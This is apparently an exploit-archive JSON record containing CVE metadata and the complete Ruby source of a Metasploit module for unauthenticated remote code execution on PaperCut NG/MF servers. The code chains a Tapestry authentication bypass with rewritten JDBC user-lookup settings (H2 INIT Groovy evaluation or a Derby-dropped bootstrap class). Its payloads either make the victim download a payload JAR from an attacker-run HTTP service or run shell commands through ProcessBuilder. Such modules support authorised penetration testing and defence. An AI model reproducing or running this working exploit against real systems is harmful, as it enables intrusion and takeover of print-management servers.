{"exploit":{"id":"MSF-multi--http--papercut_ng_external_user_lookup_rce","name":"PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)","description":"This module exploits an authentication bypass in PaperCut NG and MF. A crafted Apache Tapestry complex-direct request invokes privileged ConfigEditor components through the public Home page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby procedure to write a temporary Groovy bootstrap class to the application classpath, then loads it as a database driver. The Java target serves an executable payload JAR and a generic memory-backed JAR loader over HTTP. Its payload classes and resources remain in memory; however, versions 24 and 25 still require the temporary Derby bootstrap class. The command targets execute a Windows or Linux command payload directly. This module was successfully tested against: * PaperCut MF 26.0.4 (Build 76494) <-- emergency patch v1 * PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1 * PaperCut NG 26.0.3 (Build 76225) * PaperCut NG 25.0.11 (Build 75758) * PaperCut NG 24.1.9 (Build 73376)","cves":["CVE-2026-81578","CVE-2026-82078"],"author":"sfewer-r7","published":"2026-08-27","platform":"Java,Linux,Unix,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb","path":"modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"papercut_ng_external_user_lookup_rce.rb","vulnerabilities":[{"id":"CVE-2026-81578","state":"PUBLISHED","title":"PaperCut MF/NG: Authentication Bypass","titleSource":"CVE Program","description":"An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks. This allows an unauthenticated remote attacker to modify certain system configurations.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-81578","cvss":{"version":"4.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","source":"PaperCut","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-81578"},"updatedAt":"2026-09-13T23:15:33.997Z","retrievedAt":"2026-11-25T16:13:47.087Z","stale":false,"error":null},{"id":"CVE-2026-82078","state":"PUBLISHED","title":"PaperCut MF/NG: Unsafe Dynamic Class Loading in Database Connector","titleSource":"CVE Program","description":"An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers. If an attacker can manipulate system configuration parameters, this enables the execution of arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-82078","cvss":{"version":"4.0","baseScore":9.4,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"PaperCut","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-82078"},"updatedAt":"2026-09-13T23:16:32.332Z","retrievedAt":"2026-11-25T16:13:47.083Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--papercut_ng_external_user_lookup_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--papercut_ng_external_user_lookup_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--papercut_ng_external_user_lookup_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--papercut_ng_external_user_lookup_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::HttpServer\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)',\n        'Description' => %q{\n          This module exploits an authentication bypass in PaperCut NG and MF. A crafted Apache Tapestry\n          complex-direct request invokes privileged ConfigEditor components through the public Home\n          page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose\n          initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby\n          procedure to write a temporary Groovy bootstrap class to the application classpath, then loads\n          it as a database driver. The Java target serves an executable payload JAR and a generic\n          memory-backed JAR loader over HTTP. Its payload classes and resources remain in memory; however,\n          versions 24 and 25 still require the temporary Derby bootstrap class. The command targets execute\n          a Windows or Linux command payload directly.\n\n          This module was successfully tested against:\n          * PaperCut MF 26.0.4 (Build 76494) <-- emergency patch v1\n          * PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1\n          * PaperCut NG 26.0.3 (Build 76225)\n          * PaperCut NG 25.0.11 (Build 75758)\n          * PaperCut NG 24.1.9 (Build 73376)\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['sfewer-r7'],\n        'References' => [\n          ['CVE', '2026-81578'], # The authentication bypass\n          ['CVE', '2026-82078'], # The RCE through external user lookup\n          ['URL', 'https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/'],\n          ['URL', 'https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/']\n        ],\n        'DisclosureDate' => '2026-08-27',\n        'Privileged' => false, # Defaults to the high-priv 'SYSTEM' user on Windows but a low-priv user 'papercut' on Linux.\n        # As we include HttpServer, we explicitly declare an Aggressive stance here because HttpServer would otherwise make this passive.\n        'Stance' => Msf::Exploit::Stance::Aggressive,\n        'Targets' => [\n          [\n            # Tested with:\n            # * java/meterpreter_reverse_tcp\n            # * java/meterpreter/reverse_tcp\n            # * java/shell_reverse_tcp\n            'Java',\n            {\n              'Platform' => 'java',\n              'Arch' => ARCH_JAVA\n            }\n          ],\n          [\n            # Tested with:\n            # * cmd/windows/http/x64/meterpreter_reverse_tcp\n            'Windows Command',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD,\n              'Payload' => {\n                'BadChars' => \"\\x00\"\n              }\n            }\n          ],\n          [\n            # Tested with:\n            # * cmd/linux/http/x64/meterpreter_reverse_tcp\n            'Linux Command',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => ARCH_CMD,\n              'Payload' => {\n                'BadChars' => \"\\x00\"\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          # The remote target PaperCut service port number.\n          'RPORT' => 9191,\n          # The remote target PaperCut service is HTTP by default, but can be HTTPS.\n          'SSL' => false,\n          # The Metasploit HTTP service for serving out Java JAR payloads, must be HTTP by default\n          # as the remote JVM will likely not trust a self-signed certificate.\n          'SRVSSL' => false\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to the PaperCut application', '/app'])\n    ])\n\n    register_advanced_options([\n      OptBool.new('DefangedMode', [true, 'Run in defanged mode. Block exploitation that may replace the original user-lookup configuration with defaults', true])\n    ])\n  end\n\n  def check\n    papercut = papercut_info\n\n    case papercut[:status]\n    when :unreachable\n      return CheckCode::Unknown(papercut[:message])\n    when :not_found\n      return CheckCode::Safe(papercut[:message])\n    when :version_unknown\n      return CheckCode::Detected(papercut[:message])\n    end\n\n    version_string = \"PaperCut #{papercut[:product]} #{papercut[:version]}.\"\n\n    # Product versions 23.x and below are not supported by the vendor. They may be vulnerable/exploitable, but this has not been confirmed.\n    return CheckCode::Detected(version_string) if papercut[:major] <= 23\n\n    # Future product version, e.g. 27.x will not be vulnerable.\n    return CheckCode::Safe(version_string) if papercut[:major] > 26\n\n    fixed_versions = {\n      'MF' => {\n        24 => Rex::Version.new('24.1.9.76515'),\n        25 => Rex::Version.new('25.0.12.76509'),\n        26 => Rex::Version.new('26.0.4.76507')\n      },\n      'NG' => {\n        24 => Rex::Version.new('24.1.9.76516'),\n        25 => Rex::Version.new('25.0.12.76510'),\n        26 => Rex::Version.new('26.0.4.76508')\n      }\n    }\n\n    fixed_version = fixed_versions.dig(papercut[:product], papercut[:major])\n\n    return CheckCode::Detected(version_string) unless fixed_version\n\n    return CheckCode::Appears(version_string) if papercut[:version] < fixed_version\n\n    CheckCode::Safe(version_string)\n  end\n\n  def exploit\n    if datastore['DefangedMode']\n      warning = <<~EOF\n\n\n        Are you SURE you want to execute the exploit against the target system?\n        Running this exploit will change the PaperCut user-lookup configuration\n        on the target system. The changes will be restored to default values, but\n        these default values may not match the original configuration (if they were\n        non-default).\n\n        Disable the DefangedMode option if you have authorization to proceed.\n      EOF\n\n      fail_with(Failure::BadConfig, warning)\n    end\n\n    papercut = papercut_info\n\n    case papercut[:status]\n    when :unreachable\n      fail_with(Failure::Unreachable, papercut[:message])\n    when :not_found, :version_unknown\n      fail_with(Failure::UnexpectedReply, papercut[:message])\n    end\n\n    # The forged listener renders Home, so initialize that stateful Tapestry page in the session before submitting\n    # ConfigEditor forms. The Error page used by check does not initialize Home's page state.\n    home = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path),\n      'keep_cookies' => true\n    )\n\n    fail_with(Failure::UnexpectedReply, 'The target did not return the PaperCut Home page') unless home_response?(home)\n\n    # The Java target retrieves an executable payload JAR and its generic memory loader. Command targets instead\n    # embed an OS command in the request and therefore do not need the Java HTTP service.\n    groovy_source = if target['Platform'] == 'java'\n                      payload_service = start_java_payload_service\n                      groovy_class_loader_source(\n                        payload_service[:jar_uri],\n                        payload_service[:loader_uri],\n                        payload_service[:loader_class],\n                        payload_service[:main_class]\n                      )\n                    else\n                      groovy_command_source(payload.encoded, target['Platform'] == 'win')\n                    end\n\n    # A class name is only populated for the two-stage Derby strategy and later signals that the class must be loaded.\n    bootstrap_class_name = nil\n\n    # H2 only needs a non-existent card number to reach the configured database. Derby replaces this with a query that\n    # returns the bootstrap class bytes for its export procedure.\n    lookup_value = rand_text_alphanumeric(16)\n\n    if papercut[:major] >= 26\n      print_status(\"PaperCut #{papercut[:version]} detected; using H2 to execute Groovy bootstrap\")\n\n      # PaperCut 26 bundles H2. Its INIT SQL executes while the connection opens, before PaperCut prepares and runs\n      # the configured lookup query. The query itself is benign and retains PaperCut's required placeholder.\n      # Selecting H2 makes PaperCut load the bundled driver when external lookup opens its database connection.\n      driver = 'org.h2.Driver'\n\n      # A random in-memory database avoids persistent database files. H2 evaluates INIT as it opens the connection,\n      # exposing Groovy as an SQL function and passing it the generated command or Java-payload bootstrap.\n      url = \"jdbc:h2:mem:#{rand_text_alpha_lower(8)};INIT=#{h2_escape(h2_statement(groovy_source))}\"\n\n      if url.length > 1024\n        fail_with(Failure::BadConfig, \"The generated H2 JDBC URL exceeds PaperCut's 1,024-character configuration limit\")\n      end\n\n      # PaperCut requires the lookup SQL to contain {cardnumber}. This harmless query returns the supplied random value;\n      # payload execution has already occurred while H2 processed INIT.\n      sql = 'VALUES CAST({cardnumber} AS VARCHAR(32672))'\n    else\n      print_status(\"PaperCut #{papercut[:version]} detected; using Derby to drop and load a Java class and execute Groovy bootstrap\")\n\n      # PaperCut 24 and 25 do not bundle H2, but do bundle Derby. Its export procedure writes the BLOB returned by\n      # the attacker-controlled query to a classpath directory. Selecting that class as the driver then initializes it.\n      # Vary both the content and length of the class name used for the temporary bootstrap artifact.\n      bootstrap_class_name = rand_text_alpha(8..16)\n\n      # Derby requires a companion CSV for the export; its contents are not otherwise used by the exploit.\n      csv_path = \"tmp/#{rand_text_alpha_lower(8)}.csv\"\n\n      # Derby writes the exported BLOB here, placing the bootstrap class in a PaperCut classpath directory.\n      class_path = \"lib/#{bootstrap_class_name}.class\"\n\n      # Ensure the temporary .csv and .class artifacts are deleted even if the Groovy bootstrap raises an exception.\n      groovy_source = <<~GROOVY\n        try {\n          #{groovy_source}\n        } finally {\n          new java.io.File(\"#{class_path}\").delete()\n          new java.io.File(\"#{csv_path}\").delete()\n        }\n      GROOVY\n\n      # Selecting the bundled Derby driver lets the first lookup call Derby's built-in export procedure.\n      driver = 'org.apache.derby.jdbc.EmbeddedDriver'\n\n      # Use a fresh in-memory Derby database so the procedure is available without creating a persistent database.\n      url = \"jdbc:derby:memory:#{rand_text_alpha_lower(8)};create=true\"\n\n      # PaperCut replaces {cardnumber} with a bound parameter. Derby interprets that parameter as the query whose BLOB\n      # result is written to class_path, while csv_path receives the companion export data.\n      sql = \"CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber}, '#{csv_path}', NULL, NULL, NULL, '#{class_path}')\"\n\n      # This nested Derby query returns the patched class bytes as a BLOB. X'...' is a hexadecimal binary literal;\n      # PaperCut binds the complete query string above as the export procedure's first argument.\n      lookup_value = \"VALUES CAST(X'#{derby_bootstrap_class(bootstrap_class_name, groovy_source).unpack1('H*')}' AS BLOB)\"\n    end\n\n    # These are the only four settings needed by either database strategy. This is CVE-2026-82078.\n    exploit_config = {\n      'user-lookup.db-driver' => driver,\n      'user-lookup.db-url' => url,\n      'user-lookup.id-to-username-sql' => sql,\n      'user-lookup.enabled' => 'Y'\n    }\n\n    begin\n      print_status('Setting config...')\n\n      exploit_config.each do |name, value|\n        vprint_status(\"Setting #{name} - #{value}\")\n\n        fail_with(Failure::UnexpectedReply, \"Failed to update #{name}\") unless update_config_option(name, value)\n      end\n\n      print_status('Triggering the external user lookup')\n\n      res = trigger_external_lookup(lookup_value)\n\n      print_warning('The lookup request did not return a Home response; the payload may still have executed') unless home_response?(res)\n\n      if bootstrap_class_name\n        # Stop calling the export procedure before loading the new class. DatabaseUtils invokes Class.forName on the\n        # configured driver before opening the connection, which executes the bootstrap's static initializer.\n        fail_with(Failure::UnexpectedReply, 'Failed to reset the lookup query') unless update_config_option(\n          'user-lookup.id-to-username-sql',\n          'VALUES CAST({cardnumber} AS VARCHAR(32672))'\n        )\n\n        fail_with(Failure::UnexpectedReply, 'Failed to select the bootstrap class') unless update_config_option(\n          'user-lookup.db-driver',\n          bootstrap_class_name\n        )\n\n        # A second lookup makes DatabaseUtils load the newly selected driver class. Class.forName executes its static\n        # initializer, which evaluates the Groovy payload; this value is only an arbitrary card number for the lookup.\n        trigger_external_lookup(rand_text_alphanumeric(16))\n      end\n    ensure\n      # The bypass can submit ConfigEditor forms but cannot render that protected page to read the prior values. Restore\n      # PaperCut's factory defaults, disabling lookup first to minimize the time any partial configuration remains live.\n      factory_config = {\n        'user-lookup.enabled' => 'N',\n        'user-lookup.id-to-username-sql' => 'select user_name from users_table where card_number = {cardnumber}',\n        'user-lookup.db-url' => '',\n        'user-lookup.db-driver' => ''\n      }\n\n      print_status('Resetting config...')\n\n      factory_config.each do |name, value|\n        vprint_status(\"Resetting #{name} - #{value}\")\n\n        next if update_config_option(name, value)\n\n        print_warning(\"Failed to update #{name}\")\n      end\n    end\n  end\n\n  private\n\n  def papercut_info\n    return @papercut_info if @papercut_info\n\n    # PaperCut's public Error page includes the complete product version. This keeps discovery read-only and on the\n    # same service as the vulnerable complex-direct endpoint.\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path),\n      'keep_cookies' => true,\n      'vars_get' => {\n        'service' => 'page/Error'\n      }\n    )\n\n    return { status: :unreachable, message: 'The target did not respond.' } unless res\n\n    return { status: :not_found, message: 'The target did not return the expected page.' } unless res.code == 200 && res.body.include?('<!-- Page: Error -->')\n\n    # PaperCut appends the optional semantic-version suffix from version.suffix to the release, for example\n    # \"26.0.4-PO-4560\" or \"26.0.4-rc.1\". Accept that suffix but compare only release and build numbers.\n    match = res.body.match(/PaperCut (?<product>NG|MF)\\s+(?<release>\\d+\\.\\d+\\.\\d+)(?:-[0-9A-Za-z-]+(?:\\.[0-9A-Za-z-]+)*)?\\s+\\(Build\\s+(?<build>\\d+)\\)/)\n\n    return { status: :version_unknown, message: 'PaperCut was detected, but its version could not be determined.' } unless match\n\n    @papercut_info = {\n      status: :success,\n      product: match[:product],\n      version: Rex::Version.new(\"#{match[:release]}.#{match[:build]}\"),\n      major: match[:release].to_i\n    }\n  end\n\n  def complex_direct_request(component_page, component_path, vars_post = nil, method: 'POST')\n    # Tapestry 3 encodes this as direct/stateful/render-page/component-page/component-path. Home is deliberately the\n    # public render page, while component_page names the protected page whose listener is invoked. PaperCut's flawed\n    # authentication checks the former but not the latter.\n    #\n    # Only the literal stateful value \"1\" enables Tapestry's stale-session guard; any other value is accepted as off.\n    # The session cookie is still retained because PaperCut's form rewind state spans these requests.\n    opts = {\n      'method' => method,\n      'uri' => normalize_uri(target_uri.path),\n      'keep_cookies' => true,\n      # POST requests impersonate forms submitted by PaperCut itself and must pass its same-origin request checks.\n      'headers' => {\n        'Origin' => full_uri(''),\n        'Referer' => full_uri(target_uri.path)\n      },\n      'vars_get' => {\n        # This is CVE-2026-81578.\n        'service' => \"direct/#{rand_text_alpha_lower(8)}/Home/#{component_page}/#{component_path}\"\n      }\n    }\n\n    opts['vars_post'] = vars_post if vars_post\n\n    send_request_cgi(opts)\n  end\n\n  def home_response?(res)\n    # Successful forged listeners finish by rendering the selected public carrier\n    # page (Which for the auth bypass is hardcoded to be Home in complex_direct_request).\n    res&.code == 200 && res.body.include?('<!-- Page: Home -->')\n  end\n\n  def update_config_option(name, value)\n    # ConfigEditor is a stateful two-step UI: quickFindForm selects the named property and records the filtered table\n    # in the session, then $Form submits the edit. sp and FormN identify the Tapestry page-state/form rewind sequence.\n    return false unless home_response?(complex_direct_request(\n      'ConfigEditor',\n      'quickFindForm',\n      {\n        'sp' => 'S0',\n        'Form0' => '$TextField,doQuickFind,clear',\n        '$TextField' => name,\n        'doQuickFind' => 'Go'\n      }\n    ))\n\n    # Searching for the SQL property also returns its adjacent .user-mapping property. Tapestry therefore expects the\n    # component fields for both table rows during form rewind, even though only the first value is updated.\n    fields = if name == 'user-lookup.id-to-username-sql'\n               {\n                 'sp' => 'S1',\n                 'Form1' => '$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0',\n                 '$TextField$0' => value,\n                 '$TextField$0$0' => 'USERNAME',\n                 '$Submit' => 'Update'\n               }\n             else\n               {\n                 'sp' => 'S1',\n                 'Form1' => '$TextField$0,$Submit,$Submit$0',\n                 '$TextField$0' => value,\n                 '$Submit' => 'Update'\n               }\n             end\n\n    home_response?(complex_direct_request('ConfigEditor', '$Form', fields))\n  end\n\n  def trigger_external_lookup(card_number)\n    # User List Quick Find falls back to treating an unmatched search as a card ID, opening the configured external\n    # database connection. For H2 the marker is inert data; for Derby it is the query exported into the class file.\n    complex_direct_request(\n      'UserList',\n      '$QuickFind.$Form',\n      {\n        'sp' => 'S0',\n        'Form0' => '$TextField,$Submit,$Submit$0',\n        '$TextField' => card_number,\n        '$Submit' => 'Go'\n      }\n    )\n  end\n\n  def derby_bootstrap_class(class_name, source)\n    # This Java 8 class has only a static initializer, which decodes and evaluates the supplied Groovy source. Patching\n    # its two constant-pool strings avoids requiring javac on the Metasploit host and keeps the class name randomized.\n    klass = ::File.binread(\n      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-82078', 'Metasploit.class')\n    )\n\n    encoded_source = Rex::Text.encode_base64(source)\n\n    fail_with(Failure::BadConfig, 'The generated Groovy bootstrap is too large') if encoded_source.length > 0xffff\n\n    class_replaced = klass.sub!(\"\\x00\\x0aMetasploit\", \"#{[class_name.bytesize].pack('n')}#{class_name}\")\n\n    source_replaced = klass.sub!(\"\\x00\\x07PAYLOAD\", \"#{[encoded_source.length].pack('n')}#{encoded_source}\")\n\n    fail_with(Failure::BadConfig, 'The Derby bootstrap class is missing its patch placeholders') unless class_replaced && source_replaced\n\n    klass\n  end\n\n  def groovy_class_loader_source(payload_uri, class_loader_uri, class_loader_class, payload_class)\n    identifiers = Rex::RandomIdentifier::Generator.new(language: :java)\n\n    result = rand_text_alpha_lower(8)\n\n    # Despite its historical Meterpreter package name, Metasploit's JarFileClassLoader is a generic memory-backed JAR\n    # loader. URLClassLoader fetches that helper as one raw class from a directory URL, so Java never opens it as a remote\n    # JAR. It then expands the separately downloaded payload JAR into byte arrays and defines its classes and\n    # resources directly from memory. Run main on a daemon thread so an interactive payload cannot block the H2 lookup and\n    # its enclosing Tapestry request. The thread retains the memory loader as its context class loader so payload classes\n    # and resources that are resolved lazily remain available. Giving it PaperCut's application loader as its parent also\n    # prevents an HTTP lookup for every payload class. Keep this stub compact because PaperCut truncates the\n    # user-lookup.db-url setting at 1,024 characters.\n    # Eval.me (see h2_statement) returns the final random string (result) to H2's CALL instead of making H2 convert a\n    # Thread or reflection object.\n    <<~GROOVY\n      def #{identifiers[:bootstrap_loader]} = new URLClassLoader([new URL(\"#{class_loader_uri}\")] as URL[])\n      def #{identifiers[:loader_class]} = #{identifiers[:bootstrap_loader]}.loadClass(\"#{class_loader_class}\")\n      def #{identifiers[:loader]} = #{identifiers[:loader_class]}.getConstructor(ClassLoader).newInstance(#{identifiers[:bootstrap_loader]}.parent)\n      #{identifiers[:loader]}.addJarFile(new URL(\"#{payload_uri}\").bytes)\n      def #{identifiers[:payload]} = #{identifiers[:loader]}.loadClass(\"#{payload_class}\")\n      Thread.startDaemon {\n        Thread.currentThread().setContextClassLoader(#{identifiers[:loader]})\n        #{identifiers[:payload]}.main(new String[0])\n      }\n      \"#{result}\"\n    GROOVY\n  end\n\n  def groovy_command_source(command, is_windows)\n    identifiers = Rex::RandomIdentifier::Generator.new(language: :java)\n\n    # Base64 keeps payload quotes and shell metacharacters out of the nested HTTP form, JDBC URL, SQL, and Groovy\n    # quoting layers. The decoded command is passed as one argument to the platform shell.\n    encoded_command = Rex::Text.encode_base64(command)\n\n    # /d disables cmd.exe AutoRun commands and /s gives consistent /c quote handling. Linux uses the stock POSIX shell.\n    command_array = is_windows ? \"[\\\"cmd.exe\\\",\\\"/d\\\",\\\"/s\\\",\\\"/c\\\",#{identifiers[:command]}]\" : \"[\\\"/bin/sh\\\",\\\"-c\\\",#{identifiers[:command]}]\"\n\n    result = rand_text_alpha_lower(8)\n\n    # ProcessBuilder.start returns a Process, which H2 cannot reliably convert into an SQL value. Make the final\n    # expression a simple random string after the process has started.\n    <<~GROOVY\n      def #{identifiers[:command]} = new String(\n        java.util.Base64.getDecoder().decode(\"#{encoded_command}\"),\n        java.nio.charset.StandardCharsets.UTF_8\n      )\n      new ProcessBuilder(#{command_array} as String[]).start()\n      \"#{result}\"\n    GROOVY\n  end\n\n  def h2_statement(source)\n    # CREATE ALIAS exposes PaperCut's bundled Groovy evaluator as an H2 routine; CALL evaluates the generated source.\n    \"CREATE ALIAS PCEXEC FOR 'groovy.util.Eval.me(java.lang.String)';CALL PCEXEC('#{source}')\"\n  end\n\n  def h2_escape(statement)\n    # H2 uses unescaped semicolons to separate JDBC URL properties. Escape backslashes first, then semicolons, so the\n    # entire compound CREATE ALIAS/CALL statement reaches the INIT property.\n    statement.gsub('\\\\') { '\\\\\\\\' }.gsub(';') { '\\\\;' }\n  end\n\n  # For ARCH_JAVA payloads, serve both the generated executable JAR and Metasploit's generic memory-backed JAR loader.\n  # Java shell and staged payload generators can randomize their entry point, while the stageless Meterpreter generator\n  # currently retains its fixed StagelessMain class. The JAR manifest is therefore the authoritative entry point.\n\n  def start_java_payload_service\n    if http_server_ssl\n      print_warning(\n        'SRVSSL is enabled. The target JVM must trust SSLCert and the advertised URI host must match the certificate; ' \\\n        \"Metasploit's default self-signed certificate will normally be rejected.\"\n      )\n    end\n\n    # Request framework-supported class-name randomization where the selected Java payload implements it. Read the entry\n    # point from the resulting manifest so both randomized and fixed Main-Class implementations are handled consistently.\n    payload_jar = payload.encoded_jar(random: true)\n\n    payload_class = payload_jar.manifest.to_s[/^Main-Class:\\s+([^\\r\\n]+)/, 1]\n\n    fail_with(Failure::BadConfig, 'The generated Java payload JAR has no Main-Class entry') unless payload_class\n\n    @java_payload_jar = payload_jar.pack\n    @java_payload_jar_name = \"#{rand_text_alpha_lower(8)}.jar\"\n\n    # Serve Metasploit's memory-backed JAR loader as a raw class. Its canonical HTTP path must match the package name\n    # embedded in the class so URLClassLoader can resolve it relative to the service URI.\n    class_loader_class = 'com.metasploit.meterpreter.JarFileClassLoader'\n    @java_payload_class_loader_path = 'com/metasploit/meterpreter/JarFileClassLoader.class'\n    @java_payload_class_loader = MetasploitPayloads.read('java', 'com', 'metasploit', 'meterpreter', 'JarFileClassLoader.class')\n\n    start_service(\n      'Uri' => {\n        'Path' => \"/#{rand_text_alpha_lower(8)}/\",\n        'Proc' => proc { |cli, request| java_payload_request(cli, request) },\n        'VirtualDirectory' => true\n      }\n    )\n\n    {\n      jar_uri: \"#{get_uri}#{@java_payload_jar_name}\",\n      loader_uri: get_uri,\n      loader_class: class_loader_class,\n      main_class: payload_class\n    }\n  end\n\n  def java_payload_request(cli, request)\n    vprint_status(\"#{request.method} #{request.uri} requested\")\n\n    return send_not_found(cli) unless %w[HEAD GET].include?(request.method)\n\n    resource = request.relative_resource.to_s.delete_prefix('/')\n\n    body, content_type = case resource\n                         when @java_payload_jar_name\n                           [@java_payload_jar, 'application/java-archive']\n                         when @java_payload_class_loader_path\n                           [@java_payload_class_loader, 'application/octet-stream']\n                         else\n                           return send_not_found(cli)\n                         end\n\n    send_response(\n      cli,\n      request.method == 'HEAD' ? '' : body,\n      'Content-Type' => content_type\n    )\n  end\nend\n","sha256":"dd7a225375017dd84102baf2f7db32ca3861d20180b3f3d18ebc4ac4466fd2cf","bytes":26819,"fetchedAt":"2026-11-25T16:31:00.447Z","encoding":"utf-8 (display only; download retains original bytes)"}